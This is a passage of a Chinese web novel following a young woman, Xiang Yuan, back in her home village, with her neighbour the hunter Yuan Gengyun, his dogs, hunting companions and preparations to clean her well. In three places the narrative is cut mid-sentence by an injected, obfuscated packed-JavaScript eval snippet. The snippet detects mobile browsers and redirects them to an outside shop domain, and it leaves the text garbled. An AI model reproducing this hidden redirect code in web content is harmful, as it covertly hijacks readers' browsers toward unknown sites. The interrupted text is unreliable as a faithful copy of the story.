感动在心中流溢,闻见的人能透过层层水雾,看见面朝黄土背朝天的农夫,看见脑袋上堆着层层积雪也压不弯腰身的麦苗,看见金黄的麦穗,挥舞镰刀的农人,看见圆圆的磨盘上,金黄色的麦粒滚进磨眼,淡黄色的面粉流出磨口。 向园看见的是原耕耘。 这麦子是他种的,面是他磨的。 原耕耘看向向园。 地是她家的,包子是她做的。 山芝麻叶是他俩捋的。 真好啊! 原耕耘明天要上山,离开前,他交代向园,“明天我走得早,这边不常有人来,你一个人在家,一定闭紧门户。” “好。”向园点头,“那我帮你喂鸡?” 原耕耘都忘记鸡这一茬。 院里这些鸡是他娘逮的,他以往常在山里住,今年都没打算喂,结果他娘过来,逮了几只大鸡娃不算,还抱了一窝小鸡崽儿。 他娘莫非怕他像以前一样,整日不回来住,留她一个人在隔壁不安全,所以昨天走的时候,死活不肯把鸡带走? “好。”原耕耘告诉向园秕谷糠麸在哪,“这是钥匙,你缺什么要用什么自己过去取。” “不用不用,已经很齐全了。”向园连连摆手。 “那就帮我收着,我去山上带着,容易丢。”原耕耘把钥匙塞给她。 向园:“……” 这合适吗?这不合适吧! “你明天吃,后天也吃。”向园把装好的一篮包子馅儿饼递过去,她给自己留了六个包子,两个馅儿饼,够这两天吃的了。 耕耘哥哥明天上山,后天赶圩,都要早出晚归,带着吃正方便。 原耕耘失笑,只拿了两个,“后天过来淘井,你还要管我饭。你留着吧,后天我娘和敬叔估计也会过来,我还会从村里找两个人过来帮忙,到时候你还要忙活。” “今天初四啊!”向园恍然大悟,她都忘了这茬,以为今天初五呢。 一四七是圩日。 可即便要淘井,也是让她方便,她管饭应该的。 “那你多拿几个吃,后天我再做别的。村里也来人的话,我要准备些什么?”向园有点害怕。 并不是怕村里人,而是害怕未知。 以往家里有事,都是表哥出面,她做好饭就行。 这两天,都是耕耘哥哥和樊姨顶在她前头。 明知道一直依赖下去是不对的,可是不依赖,她好像也不知道该怎么办。 “没事,你不要担心,我要找的人,以往都很敬重向叔叔向婶子,他们知道你回来,不会多说什么,你到时候打个招呼就好。我明天确定好谁来,再告诉你怎么称呼。 “做饭也不用担心,乡里乡亲之间,你帮趁我我帮衬你,都是正常的。做些家常便饭就好,这两天不起集,明天晚上我会带猎物回来,菜蔬也都有的。 “你这几天连轴转,也很累了,今晚安心睡一觉,明天好好歇一天,后天淘过井,村里人就知道你回来了,有心的会主动过来找你说话,你也可以去村子里串门……” 原耕耘事无巨细,什么都考虑到了。 向园明白他的好意,却觉得不好意思,她现在吃的用的都是他们的,连人情世故都是他们在关照,她要做些什么报答这番好意呢。 原耕耘看出她的不安,“我不是还种着你家的田地?就当我提前交租子了。” 向园更加忐忑,“三亩田两亩地真有那么多产出?” 原耕耘:“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15977184|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”自然没有,他交的不止三成佃租,他以为她不通稼穑的。 “前几年年成都好。”他简单回了一句,“以后我不在家的时候,还要经常麻烦你给我喂鸡喂狗,难道你到时候不会给我帮忙?” 向园使劲儿摇头,“会的会的。” 她明天要在草丛里捉些大青虫给鸡吃,让它们快快长大,多多下蛋,给耕耘哥哥生财。 秕谷是子粒干瘪细小的稻谷。各家各户收稻谷时,都要把秕谷筛出来。 饱满的谷粒留着自家吃或者卖给收粮的,秕谷也留着。穷苦些的人家掺着米、粟、玉米糁、红薯、土豆当饭吃。能吃是能吃,只是不好吃,喇嗓子,挂喉咙,难嚼又难咽。 所以稍微能过得去的人家,但凡能有红薯、玉米吃,都不愿意吃这个。 人不吃也不能浪费,就把它磨碎,搀着稗子和糠麸喂牲口。 稗子是长得像稻子的一种草,蔓延得很快,哪里出现一株,若是不及时拔掉,很快就会长成一片。 这草霸道,稍不注意长势就压过稻子,哪块田被这种草占领,那块田的产量一定不会很好。但这草也不是一无是处,鸡、鸭就很爱吃。 原耕耘家这会儿还有一筐草料,这是插秧后不久,从田里薅回来的。掺着别的料,喂了半个月也没喂完。 糠是谷粒、麦粒的皮壳,一半用石臼舂或者用磨盘碾就能脱出糠来。 麸是麦粒表面黄色的那一层外皮。也是用石臼舂捣或石磨研磨,弄出来的粉末过筛,筛下去的就是面粉,留在筛里的就是麸皮。 没饭吃的时候,糠麸人也能吃的,麸比糠好吃些,到底本身就是麦粒的一部分,吃起来也顺口。 所以就是磨面,好些人家是不舍得再过筛的,磨出来的粗面随便搀着什么,就是难得的好饭了。 原耕耘家里这几样都有。 向园用糠麸搀着秕谷稗子喂老母鸡,它们喉咙粗,自己就能啄食,不用太过关照。 大鸡娃既不会下蛋,又不像小鸡崽儿那样脆弱,向园给它们吃的是糠搀秕谷。 小鸡崽儿喉咙嫩,就要给它们吃些细食儿,向园把带来的一瓦盆虫和蚱蜢弄出三分之一来,掺进稗子里剁得碎碎的,和上磨得细细的麸皮,加水拌松散。 向园特地加的放凉的开水,小鸡崽儿嫩生,不是不能喝生水,只是喝了容易害病。 她跟外婆喂这几年,有经验,喝生水的小鸡崽儿,十只里最多能活七只,喝凉开水的,食料再精细些,至少能活九只。 反正向园每年养两批,除了头一年的那些损了几只外,后头的全都养活了。只是不幸,去年有一只强壮的小鸡崽儿眼神不好,总往表哥脚底下拱,被他一脚踩死了。 小鸡崽儿吃得很香,唧唧喳喳的,闹得欢快,似乎要跟梁上的燕子比歌喉。 老母鸡吃得也好,向园倒了一半虫子给它们,它们一叨一个准,很快就把虫子叨得干干净净。 小鸡娃就可怜些,不过好歹也有加餐。六分之一的虫,够它们一人叨几口的,比昨天晚上吃的大杂烩强多了。 13. 第 13 章 原耕耘没想到自己在山中打猎时,自家那群鸡崽儿在吃大餐。 他把带的包子和兔肉倒进狗盆里,招呼大黑过去吃。 有别人在,他没说是向园单给它留的,只捏了捏狗嘴,“以后不许乱往家里噙脏东西。”想必它会明白。 大黑高傲的眼神一瞬间变得茫然,傻二黄拱过去,跟它抢食吃。虽然很快被大黑踢跑,好歹捞到一嘴。 原耕耘本来想让二黄留守在家的,但是昨天它落了下风,还得原耕耘拿鱼给它凑数,它不甘心,今天想力争上游,就扭扭屁股,把三白挤到向园身边,自己跟着原耕耘跑了。 三白是个聪明狗,知道来日方长,不争一时长短,乖乖留在家里,看向园喂鸡。 “九郎,你养这狗真是有灵性!”周二仓夸道。 九郎是称呼原耕耘。 原耕耘九月初九生,小名九儿,少时村里人喊他九郎君,大了就喊九郎。 周二仓每回上山都要夸狗,不点名道姓,但在场的人都知道他在夸大黑。 瞧那眼睛,恨不得长大黑身上。 显然在向园眼里狗眼看人低的大黑,在周二仓看来,就是有气势,就是威猛,他也想养这样一只大狼狗。 这确实是狼狗,娘是狼,爹是狗,原耕耘机缘巧合之下遇到它,为此还把狗爹买下来,送到狼群跟母狼作伴。 在狼群里的生活比在村里好,狗爹乐不思蜀,除了狼娘子索求无度外,它没有别的烦恼。 大黑虽然是公的,却更像狼娘。 算起来,二黄和它还是亲戚。 二黄的娘和大黑的爹的娘是一窝姐妹,二黄是大黑的表姑,大黑是二黄的表侄儿。 可是当侄儿的霸道惯了,根本不知道尊老爱幼,表姑拱过去呜呜求食的时候,它又赶人,这次直接上嘴啃。 二黄看它张开的大口,讨厌得不行,捞一口都顾不上,赶紧往后撤。昨天咬过脏东西,它不要跟它玩儿,也不要跟它吃到一盆里了。 周二仓不知道大黑咬过竹鼠,知道也不嫌弃,他蹲在狗盆边摸狗头,手法轻柔,眼神爱恋,像是看自家的狗。 他很想把大黑偷走。 大黑很嫌弃他,它嫌弃它的狗爹,也嫌弃所有像它狗爹一样一无是处的雄性动物。 它从来不会想念有爹娘的那个狼窝,这里就是它的家,它想来就来,想走就走。 周二仓没听见大黑的心里话,知道了肯定要抱屈。他就算打猎没有九郎厉害,也不至于一无是处吧。 周满仓拍拍他的肩,“哥,你别瞅大黑了,它是真的嫌弃你。你指望它,还不如指望它下崽儿。” 大黑不会下崽儿,但大黑会让别的狗下崽儿,周二仓眼睛一亮,就要找原耕耘说话。 周满仓挡他前头,“你就是现在预定,也只能排老二了。我可是跟九哥约好,大黑啥时候开窍,找伴儿的话,它的头一个崽儿是我的。” “排老三,我也预定过了。”黄穗安道。 “啥?”周二仓目瞪口呆,咋这俩人都赶他前头去了,“不行,是我先看上大黑的,我得排老一。” “你不排老三,老三你都没得排。穗宁和金宝也想养呢,求我跟九郎说一声。” 黄穗安行二,有个哥哥叫黄穗平。他家老三是个妹妹,叫黄穗宁。老小是个弟弟,叫黄金宝儿。 原耕耘:“我没答应。” 他们是找他说过,但大黑跟二黄凑不到一起的话,他肯定要给大黑说个媳妇儿的,得说到自家来。 大黑和它媳妇儿的崽儿,肯定先得让它们做主。狗爹狗娘不想做主的话,那也得问向园要不要。向园喜欢,一只都不会往外送。 三人傻眼了,“九郎,那么多狗你养得过来啊?也不怕把你吃穷喽。” 那么好吃的包子,他们一人就分了一个呢。大黑吃了一个,还有闻着贼香的兔肉加餐。可以的话,到饭点了他们也想去原耕耘家吃狗食儿,狗盆儿都不让原耕耘操心,他们自带。 原耕耘摸摸大黑油光锃亮的皮毛,“大黑吃得好是大黑争气,它帮向大夫家的小娘子赶虫子,这是向娘子犒劳它的。” 几只狗吃不穷原耕耘,但顿顿这样吃,就不一定了。 合着他们仨还是沾了大黑的光了。 周二仓嘿嘿一笑,又摸摸狗头,“大黑可真行!” 黄穗安有些惊讶,“向家医庐的向大夫?你们家西边那户邻居?” 周二仓小时候见过,“哇,是长得特别漂亮,小时候老跟着你那个小丫头?” 周满仓见过,但他不记得,他只好奇,“她现在长什么样啊?” 没一个好奇向园为什么突然回家来的。 “是她,非礼勿视。”原耕耘言简意赅。 “不是说向郎中过世后,她外家来人把她接走了吗,怎么突然回来了。”原耕耘刚想着没人好奇,黄穗安就好奇起来了。 “这是她家,回来不是很正常?”黄穗安不是好刨根问底的人,现在听人小娘子漂亮,他就开始打听,周二仓看不惯他。 原耕耘点头。周二仓憨直,但说话总能说到点子上。 “走吧,我明天还有事儿,今儿个看看寻摸些小东西,赶早下山。” 原耕耘又一人分了个包子,昨天那篮子他不肯接,向园不依,好歹分了半篮子让他带上,这会儿正好派上用场。 冷了的包子自然没有热乎的好吃,可对于见天吃糙面窝头和糙米的几人来说,是难得的美味。 里头还有肉,周二仓和满仓都不舍得吃,他们一早吃饱了,又刚吃过一个包子,包子好吃,他们更想带回去让家里人尝尝。 黄穗安也要带回去给弟弟妹妹吃。 周满仓蹦跶着跟上原耕耘,问他,“九哥,你明儿个什么事儿啊,这样关紧?” 不是关紧事儿,原耕耘一般都在山上。 “明天我娘回来,我和敬叔要帮向娘子淘井。”原耕耘说着,挑挑眉,“二仓有事儿没,没事儿也来?我和敬叔忙不过来,得找个人帮把手。” “我去!”周满仓把他哥挤到一边,“九哥,我去我去,你让我干啥我都干,让我下井也行,正好我瘦,钻得进去。” 周二仓:“……” 混蛋弟弟! 黄穗安:“……” 这家伙是去淘井,还是去看人家小娘子? “我也去!”黄穗安道。 看就看,反正樊婶子也在,大不了,他喊上他哥他嫂子一块去。不,多好的机会,他可以带着妹妹一起去。 事情说定,几人往山里走。 三足山也有些野物,原耕耘一般不会捉,那是留给大黑二黄三白的,他带着人往里头的屏山去。 屏山如六折屏障,山有六峰,峰峰相连。往内是三足山、羊角岭、竹坡坡和竹窝窝。往外是葫芦岭、松云岭、雾罩峰和大药王山。 大药王山就是药王山的主脉。原耕耘在山上窜了五年,去过的次数也不超过两个巴掌。那山确实险。 几人路上就定下今天的活动范围,在屏山第二峰处。 第二峰不高,比起第一峰和第三峰来说,又偏南,日头好,山势平坦,灌木丛多,山鸡野兔也多,偶尔运气好还能遇上个獐子麂子的。 这个地方几人都熟,不需要原耕耘带着,就能活动开。 原耕耘也放心,大家都很惜命,不会乱跑。 四人各选了一个方向出发。 原耕耘朝北走,北边离松云岭和雾罩峰近些,相对也就危险一些。 狗子也不跟着他,原耕耘让大黑去第一峰和第二峰相夹的南麓查看,那里有他开的田地,周围设了陷阱,可能会有猎物掉进去。 二黄和三白就在附近撒欢,它们鼻子灵,哪里有情况就能第一时间反应过来,赶过去援助,遇上特殊情况还会狂吠,示警报信。 干这些活也不耽误它们给自己捞点小东西打牙祭,吃完到山涧里一扑腾,嘴角粘着的毛就涮掉了,回到家饭该吃照样吃。 大黑回来得最早,看来稻田附近没有什么猎物。它昨儿下午刚在河里扑腾过,今天就洗得不是很用心,原耕耘过来的时候,还能看见他嘴角挂着一撮灰黑色的毛,跟它自己的毛显然不一样。 也不知又咬了什么东西,原耕耘猜测着,就看到边上吱吱叫的一窝竹鼠。 原耕耘:“……你真是不长记性!今天还不想回家是吧?” 他赶大黑跳河里再洗一遍。 大黑不情不愿地下水,下水前还推着原耕耘瞧松树底下。 它想回家的,它的见面礼,是一只野鸭子。那竹鼠可不是它的功劳,它只是浅尝了一下。 野鸭子挺肥的,就是大黑很敷衍,原耕耘一猜,就猜到它是洗嘴巴的时候想起这个事儿,随便叼了一只上岸。 至于竹鼠,二黄滴溜溜转着脑袋,过来领功。 原耕耘:“……” 可真是个大聪明,二黄以前可从不逮这玩意儿的。 难道是今早喂了大黑,它以为是昨天逮竹鼠的奖励? 看来以后狗子还是得一起喂,明明二黄和三白早上在家里吃过饭的,到山上它们就忘了。 “干得很好,下次别干了。”他摸摸二黄的脑袋,试图告诉它,这东西以后不能捉,捉了也不能往家带。 “竹鼠啊,好肥!”周满仓留着口水过来了,“九哥,你家狗可真厉害!” “啧,野山羊诶,九哥,你家狗这么厉害是不是都跟你学的?”他又看见河滩上捆成一团的猎物。 这不是好话,听着不大对劲儿。 原耕耘瞟过去一个眼神,周满仓麻溜儿改口,“我可不是说你像狗,我的意思是物随主人形,嘿嘿!” 原耕耘不搭理他,他下了水,往远处野鸭聚集的地方去。 这东西灵敏得很,不出其不意是捉不到的,一丁点动静都能把它们惊飞,等闲人捉不到。 他可以,因为他有两个好帮手。 原耕耘悄悄潜伏到石头后,离野鸭子很近的地方,大黑和二黄一拥而上,两只狗愣是跑出千军万马的气势,野鸭惊飞一片,但大多数都飞不高,原耕耘第一次落空,第二次落空,第三次才捉到一只。 大黑也捉到一只,二黄没有,它耷拉下脑袋,看着怪可怜的。 真是条好狗,原耕耘摸摸它的脑袋,请它帮忙捉鱼。 捉鱼对二黄来说不难,难的是这河里不好找到大鱼,原耕耘只好带它翻螃蟹。 翻到两只螃蟹,他也不敢让二黄咬,怕螃蟹钳夹它嘴,他把螃蟹扔进背篓,二黄那边有了新发现,原耕耘伸头去看,是一只乌龟,不算太小,有原耕耘巴掌那么大。 “很好,正用得上这个。”明天淘过井,就把这龟丢井里去。 周满仓正对着小乌龟啧啧称奇,周二仓和黄穗安回来了。 周二仓收获不错,拎着一串山鸡。黄穗安手里是两只野兔。 总算都没跑空,周满仓这个回来得早的,也寻到一窝刺猬,卖到药铺,能换个百十文钱,算是大收获了。 但比起他哥的,还是不够看,他这猎物全凭运气。 原耕耘指指那一窝竹鼠,“你们分了吧。” 向园害怕这个,他也不碰了。 “真的?”周满仓眉飞色舞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16004312|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “竹鼠多好吃啊,肥嫩多汁,九哥,你真的不要?” 原来大黑可没少猎竹鼠,但原耕耘很少分给他们,要么带回去让几只狗子吃,要么就拿去集市卖。这一回,直接就给他们了? 不只周满仓高兴,周二仓和黄穗安也喜出望外,黄穗安甚至想用兔子跟周家兄弟换。 周满仓不同意,他还想用刺猬跟黄穗安换呢。 再肥的竹鼠,个子也就那么大,一个人吃一只也勉强塞个牙缝,更别说解馋了。 分了的话,他娘、他哥他嫂子,再喊上他姐和两个外甥回来打牙祭,一家七口人一人也就尝个一口半口的,根本过不了瘾。 黄穗安也是这个意思,他们一家也是七口人,两只肥兔子一锅炖,一餐就能消灭干净,还欠巴巴的。更别说小竹鼠了,再来两窝也不在话下。 原耕耘不管他们怎么分,反正谁拿竹鼠,谁就绕远路吧,别从他家门口走就行。 他把三只野鸭串成一串拎着,扛起野山羊,往山外去。 三人赶紧跟上。 回到三足山小院,原耕耘让他们坐院里喝水歇脚。 昨天晒的山芝麻叶已经干透,他收拢整齐,放到灶房,回屋换了一身衣裳。天气还没彻底热起来,他跳进河里捉鸭,走这一路,衣裳也没彻底干。 换好衣裳出来,他去院后竹林里挖了一筐春笋,又掐了一捆油菜苔。 这时候除了荠菜、菠菜这些叶菜外,没有太多菜蔬可以吃。他上山的时候已经掐了半筐蕨菜芽,现在再挖些笋子,向园明天做饭,也不至于太为难。 周家兄弟和黄穗安也跟着挖了半筐。 绿蒲村是个大村,村南村北、村东村西,甚至于跟村中心有段距离的蒲家塘,后头的竹窝窝、竹坡坡,也都有竹笋,但品种不一样。 村子附近长的是刚竹,主要取竹竿当材料用,就是出笋,也都到四月里了,味道还偏清苦。 村里很少有人去那边挖,都留着让它长竹子。 这里的笋就不一样了,个顶个白胖滚圆,吃起来细嫩甘甜,没一点渣滓。 竹笋鲜美,竹鼠肥嫩,竹笋炖竹鼠,那不得香得把舌头一道吞了。周满仓想着,锄头越抡越有劲儿。 回家的时候,原耕耘把早上的包子给他们。早上三人不舍得吃,又把包子放回来了。 趁周二仓进来喝水的工夫,原耕耘给他塞了一个荷叶包,“明天淘井,带嫂子一起来吧,请她跟向娘子说说话。” 他没跟他娘说淘井定哪天,明天她可能会来,也可能不会来。他得提前请个女眷过去。 周二仓的媳妇儿杨氏娘家在十里滩,和向园舅姥爷家同村,有这个渊源在,向园或许愿意和她接触。而且杨氏为人热情活络,好串门,却不多嘴多舌,有她在,想必向园很快就能融入村子。 周二仓眼睛都瞪大了,“九郎,你这是贿赂我?” 还是为隔壁漂亮的小娘子贿赂他,这是有戏啊! 他双眼欻欻冒光,迫不及待想回家跟媳妇儿分享这个秘闻。 原耕耘:“二仓,向园懂药。至于医,以她这个年纪,学不得向大夫一半,一分半分总归是有的。” 言下之意,不光我要周全照顾,你们谁敢保证将来没有用上她的时候。 医者和师者,在乡土中是最受尊敬的角色。 绿蒲村是个大村,没有学堂,学生们上学还要往草市桥去。但有医庐,只因向家世代行医,祖祖辈辈都在绿蒲村居住。 向大夫医术高明,他在的时候,村里人有个头疼脑热的,去找他医治,他总能开出最实惠又最有效的方子,遇上家里特别困难的,药钱都不收。 向大夫去世后,村里再也得不到这样的方便。有生病的,就得往草市桥或者县里去看病。 再以济世救人为招牌的医馆,遇上的穷苦人数不胜数,也不可能每个都救济。村民们在这上头花的钱多了,才知道向家对他们多么重要。 但向家神奇地没有发展壮大,连着几代都是独苗儿,到向园这里,干脆就只剩她自个儿。 父母早逝,若不是有前头百年向家积累的善缘在,别说田地房屋,只怕她连自身都难以保全。 现在,向园回来了,向大夫也去世好几年了。 人死如灯灭,村里再念他的情,他不在了,情也就淡了。对向园这个遗孤,大家或许会有几分怜悯,但别的,还要靠向园自己争取。 而她,也在努力着。 周二仓家穷,不然他也不会不小年纪才跟着原耕耘学打猎,还把自己弟弟也拉上。 猎户日子过得好是真,危险也是真的。 绿蒲村就守着大山,但数年来,真正的猎户也就两个,头一个早在原耕耘回来之前就去世,第二个就是原耕耘,其余的或许上山了没下来,也或许上山看过之后就放弃了。 现在他们三个虽然跟着原耕耘学打猎,但没有独立进过山,还算不上真正的猎户。 猎户之外,也只有向大夫会进山采药,还时不时就带着一身伤出来。他英年早逝,跟这个也有很大关系。 所以周二仓不敢保证自己以后不会有找上向园的时候。 看病多贵啊,抓药多贵啊,就是向娘子不懂医,她懂药也好啊。 没人盼着自己受伤生病,但村里有个懂医药的,就是让人安心。 周二仓利落应下,“放心!明儿个我带我媳妇儿一起。” 不过,他不好意思收包子了。 原耕耘塞给他,“向娘子胆子有些小,以后还要麻烦嫂子多照顾她。” 他出了门,周二仓在后头啧啧感叹:铁树开花,真不容易! 14. 第 14 章 向园早起、晌午各喂了一遍鸡,其余时间就拴上大门,在院子里拔草、翻地,收拾杂活。 到下半晌,她有些累了,就端把椅子,坐在背阳处摘楮不揪。 几棵构树是这几年长起来的,向园要收拾后院,原耕耘知道,昨晚上抽空就把这几棵大一些的树拔了,堆在墙角处。 这时节,构树刚长花穗,一个个绿茸茸的,挂满枝头,正是吃的时候。 向园刚除草的时候看见,那树虽拔出来了,树上挂的花穗儿还青油油的,鲜嫩着,她就起了意,过来摘。 这花穗形似毛毛虫,土话叫楮不揪,又叫构棒槌,摘下来清洗干净,薄薄裹一层面上锅蒸,蒸熟后无论是用蒜汁拌还是用油辣椒拌、用葱油拌,都很好吃。 她这会儿摘完,洗几遍,再用盐水泡上,到傍晚差不多就能泡干净,正好夕食蒸了吃,也给耕耘哥哥送一份。 都不用她送,原耕耘下了山走没回家,直接就过来了,他给向园送野鸭子和菜蔬,顺便拿钥匙。 “这是大黑的见面礼。”他指着黑鸭。 “这个是二黄谢你的,它说你蒸的包子好吃,鱼汤也好喝。”他指着长着黑色麻雀羽的鸭子。 大黑看上了二黄捉的乌龟,回家就指着要跟二黄换。 换就换,换了也要扔水井里。 原耕耘把二黄的乌龟和大黑的第二只麻鸭换了个个儿,还给二黄长面子了。 现在大黑守着装乌龟的盆,不错眼盯着。二黄在一旁呆萌地看。 “这个是我的。”是一只花鸭,羽毛颜色比那两只鲜亮点。 “你的?” 见面礼吗? 向园听着,觉得怪怪的。 原耕耘没注意,跟她讲会来哪些人,“村东头的周二仓和他媳妇,你喊周二哥周二嫂就行,周二嫂姓杨,娘家在十里滩,可能跟舅姥爷他们认识。还有周二仓的弟弟周满仓,他应该比你大些,喊周三哥或者喊名字都行。” 向园十一岁离开绿蒲村,还记得一些事,周家兄弟她有印象。二仓满仓前头应该还有一个大仓,十来岁上头没了。周二嫂是前两年才娶进来的,她不认得。 她听着原耕耘交代,点头应下。 “还有个黄家老二,叫黄穗安,他家在村西头岔路口那里,不用特地称呼他,按辈分,他要喊你一声姑姑。” 原耕耘母子是随着原老员外从城里搬来的,他们以前跟这里的人不认识,自然也就不存在什么辈分。 他家跟向家走得近,跟村里的人来往,辈分也是跟着向家人走的。 只是年轻人之间相处,就没那么在意,所以黄穗安称呼他的名字,他也称呼黄穗安的名字。 称呼周家兄弟二哥,是因为他们从小就认识。 太多的向园不懂,但从称呼上就能看出来亲疏。她知道樊伯母改嫁之后,就不称呼她伯母了,改叫樊姨。原耕耘和樊姨就很高兴。 而现在,从原耕耘提起几人的语气表情来看,向园觉得,原耕耘对周家兄弟明显要亲一点,可能因为周家兄弟更可爱一些? 向园回忆着记忆里的两个小胖墩,猜测着。 不过小胖墩长大了就会变瘦吗?如果不会变瘦,那胖胖的难道不会影响打猎? 她想不出个结果来,干脆喊原耕耘吃饭。 就是给他送一碗菜,半锅粥过去,一个人吃也没意思,还麻烦,干脆就在这儿吃吧。 “我蒸了楮不揪,我觉得挺好吃的,你吃过这个没?” 原耕耘没吃过,那盆子里的东西像是菜地的青虫,肥嫩滚圆,这东西真能吃? 原耕耘过了十年苦日子,但是他小时候也是个富家少爷,来到乡下后,也只跟村里几个年轻人打交道,他娘更是足不出户,两人都是有米吃米,有面吃面,有菜吃菜,有肉吃肉。 至于这些东西,他们就是想吃,也不懂怎么吃,更不知道哪些能吃,哪些不能吃。 他端起来放到堂屋,看到堂屋地上残留的构叶,他才知道这是什么。 向园摘完楮不揪后就又忙活别的了,还没来得及扫地。 她端着银鱼粥进来,粥有些烫,她指尖都红了,原耕耘赶忙接过去,她又去端包子。 “这是从构树上摘下来的,看着是不是还不错?我没有拌,这个是葱油,这个是蒜汁,你喜欢哪个味道就直接蘸着吃好了。 “构树叶我也捋下来剁碎了,在灶房门口的盆儿里搁着,等会儿你带回去,掺些糠麸喂鸡,它们可爱吃这个了。” 原耕耘不知道这东西还有这妙用,但向园的脸到现在还是红彤彤的,想来这一天没少在外边晒。 “辛苦你了。还有什么好吃的野菜,你跟我说,我在山上看见了,就给你带回来。”他夹了一筷楮不揪,先蘸了蒜汁。 向园咽下一口粥,摆摆手,“山里很危险,你打猎要全神贯注,可不要为这个分心。春天的野菜多得是,想吃我随时在院里或者外头找一圈,就能找着不少,足够咱们吃的了。” 原耕耘喜欢她说的“咱们”,“嗯!”他应了一声,把楮不揪放进嘴里。 很特别的味道,鲜嫩清甜中又带着一点韧劲,和他想象的黏糊糊的口感很不一样。尤其蘸了蒜汁,残余的丝丝苦涩带着醋香、蒜香一同在舌尖绽开,很是清爽可口。 他又夹了一筷子,这次蘸了葱油,蘸葱油也好吃,有一股浓重的葱香味。但原耕耘更喜欢吃蘸蒜汁的。 他连包子都吃得少了,就着粥,吃了小半盆蒸菜,才算解了腹中的饿意。 今天打猎,他刚吃了个包子,就等来喝水的野山羊,捉完山羊后,一身膻气,他也没胃口吃东西了。 粥配菜,他吃得很满足。 菜两人都吃完了,那狗子要吃什么? 包子一只分一个,但剩下那点粥肯定不够三只分的! 向园要去给狗子煮狗食儿。 原耕耘拦住她,“我回去喂鸡,顺便给它们煮。你先烧些水吧,我等会儿把笋子剥了,过一遍水晾上,明天直接能用。还有鸭子,今晚也得宰杀干净。” 不然这么多活儿,她明天要手忙脚乱了。 两人都吃饱了,砂锅里还剩下多半碗粥的样子,这点原耕耘也不给狗子留,直接舀自己碗里。 他一会再去池塘里捉条鱼,给三只狗也煮鱼肉粥好了。 向园:“……可以在大锅烧水,后锅煮狗食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他催促仨狗过去吃狗食的时候,黄穗安过来了,带着他妹妹黄穗宁。 原耕耘有些惊讶,他没跟黄穗安交代,让他带人来。 周二仓三人跟黄穗安差不多时间到。 “二安耳朵真不好使,我跟我哥连番喊你你都没听见,一个劲儿闷头走。”周满仓吐槽。 他们一行人比黄穗安出发得早,不过天早着,周二仓怕原耕耘和向园他们还没吃完朝食,就带着媳妇儿和弟弟,一路说说笑笑,慢悠悠溜达过来。 确实喊了黄穗安好几声,黄穗安也确实没回,但是真没听见还是装没听见,看他此时的表情就知道。 黄穗安眼底露出几分尴尬。 看来是装没听见了?杨可真看看他身边的黄穗宁,心中了然。 原耕耘是个出众的好男儿,虽说以前是少爷,但现在看着是在村里扎根的样子。 他又没有亲戚朋友帮衬,唯一一个娘也改嫁了,村里不少人家起了心,想让他当女婿。 没有亲朋,在别人看来没帮衬,但这对一些有直白目的的人家来说,却是好事。不用受婆婆辖制,只要女儿能把好男人,就不怕日子过不好。 尤其嫁得近,原耕耘又是个有本事的。他没有别的靠头,只能紧紧依着老丈人一家,有好处也得先向着老丈人一家。 这就是不担入赘的名头,却有入赘的意思。 恐怕黄家人的愿望要落空喽!杨可真想起昨夜里丈夫说的话,迫不及待地想去瞧瞧隔壁的向娘子是个什么模样。 15. 第 15 章 原耕耘带着几人往隔壁去。 今天他在家,有什么动静那边就能听见,不用锁门。而且万一用到什么工具,来这边取也方便。 他先指使留守的三白过去报信。 三白跑得贼快,一呼啦就不见影子了,几人往外走了几步,就见三白出现在向家门口,边上立着一个眉目如画的女子。 杨可真看呆了,周二仓瞅了原耕耘一眼。 原耕耘回视,一行人中,只有周二仓没有叫她的颜色迷了眼。 他大跨几步,从众人眼前穿行,向园正好迎过来,此时就不好喊耕耘哥哥了,她喊的“九哥”。 原耕耘一愣,多年前的燥热的夏风呼啦啦从耳畔刮过,烧得他耳朵烫起来。 然后是池塘的凉风,恰好遮住她脑袋的粉荷和垂下掩住他眉眼的翠盖,两者同时卷起,掀起一阵清凉小雨。 两人躲在船上,拨动着水往岸边滑行,却不舍得真的上岸。 向园一无所觉,只看到原耕耘转身,如挺立的青松般站在自己身侧,跟她介绍来人。 最先是周二仓和杨可真,向园一一称呼过去。 杨可真眼中的惊艳没有褪去,反而因为走得越近,看得越清楚,那艳羡与惊叹也越发明显。 “好妹妹!”她喊,然后利落道:“别喊周二嫂子,叫姐姐吧!我听我娘说向婶子舅家也是十里滩的,韩进是你表哥吧?” 向园含笑点头。 “巧了,他也是我姑表弟呢。别喊嫂子了,多生分,喊我姐姐就是。” 果然是快人快语。 向园自己不行,却喜欢这个脾性,她从善如流,改口称“杨姐姐”。 接下来就没原耕耘什么事儿了,他知趣地退位让贤,杨可真拉着向园继续介绍。 “这是黄家的,老二穗安和老三穗宁。”她指着黄家兄妹俩,对向园道。 又朝黄家二人道:“我后来的,也不清楚你们先前认不认识,若从黄叔和向大夫那里论辈分,你俩是该叫姑姑吧?” 黄穗安本来就红的脸憋得更红了,低低喊了声“姑姑”。 黄穗宁就大方很多,自来熟地攀上向园另一边胳膊,娇娇地喊了声“姑姑”,比她哥声音可脆生多了。 